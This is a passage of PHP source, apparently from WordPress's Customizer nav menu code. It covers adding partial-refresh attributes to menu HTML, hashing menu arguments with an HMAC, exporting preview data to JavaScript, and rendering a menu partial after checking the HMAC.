wp_nav_menu() * * @param string $nav_menu_content The HTML content for the navigation menu. * @param object $args An object containing wp_nav_menu() arguments. * @return null */ public function filter_wp_nav_menu( $nav_menu_content, $args ) { if ( isset( $args->customize_preview_nav_menus_args['can_partial_refresh'] ) && $args->customize_preview_nav_menus_args['can_partial_refresh'] ) { $attributes = sprintf( ' data-customize-partial-id="%s"', esc_attr( 'nav_menu_instance[' . $args->customize_preview_nav_menus_args['args_hmac'] . ']' ) ); $attributes .= ' data-customize-partial-type="nav_menu_instance"'; $attributes .= sprintf( ' data-customize-partial-placement-context="%s"', esc_attr( wp_json_encode( $args->customize_preview_nav_menus_args ) ) ); $nav_menu_content = preg_replace( '#^(<\w+)#', '$1 ' . $attributes, $nav_menu_content, 1 ); } return $nav_menu_content; } /** * Hashes (hmac) the nav menu arguments to ensure they are not tampered with when * submitted in the Ajax request. * * Note that the array is expected to be pre-sorted. * * @since 4.3.0 * @access public * * @param array $args The arguments to hash. * @return string Hashed nav menu arguments. */ public function hash_nav_menu_args( $args ) { return wp_hash( serialize( $args ) ); } /** * Enqueue scripts for the Customizer preview. * * @since 4.3.0 * @access public */ public function customize_preview_enqueue_deps() { wp_enqueue_script( 'customize-preview-nav-menus' ); // Note that we have overridden this. } /** * Exports data from PHP to JS. * * @since 4.3.0 * @access public */ public function export_preview_data() { // Why not wp_localize_script? Because we're not localizing, and it forces values into strings. $exports = array( 'navMenuInstanceArgs' => $this->preview_nav_menu_instance_args, ); printf( '<script>var _wpCustomizePreviewNavMenusExports = %s;</script>', wp_json_encode( $exports ) ); } /** * Export any wp_nav_menu() calls during the rendering of any partials. * * @since 4.5.0 * @access public * * @param array $response Response. * @return array Response. */ public function export_partial_rendered_nav_menu_instances( $response ) { $response['nav_menu_instance_args'] = $this->preview_nav_menu_instance_args; return $response; } /** * Render a specific menu via wp_nav_menu() using the supplied arguments. * * @since 4.3.0 * @access public * * @see wp_nav_menu() * * @param WP_Customize_Partial $partial Partial. * @param array $nav_menu_args Nav menu args supplied as container context. * @return string|false */ public function render_nav_menu_partial( $partial, $nav_menu_args ) { unset( $partial ); if ( ! isset( $nav_menu_args['args_hmac'] ) ) { // Error: missing_args_hmac. return false; } $nav_menu_args_hmac = $nav_menu_args['args_hmac']; unset( $nav_menu_args['args_hmac'] ); ksort( $nav_menu_args ); if ( ! hash_equals( $this->hash_nav_menu_args( $nav_menu_args ), $nav_menu_args_hmac ) ) { // Error: args_hmac_mismatch. return false; } ob_start(); wp_nav_menu( $nav_menu_args ); $content = ob_get_clean(); return $content; } }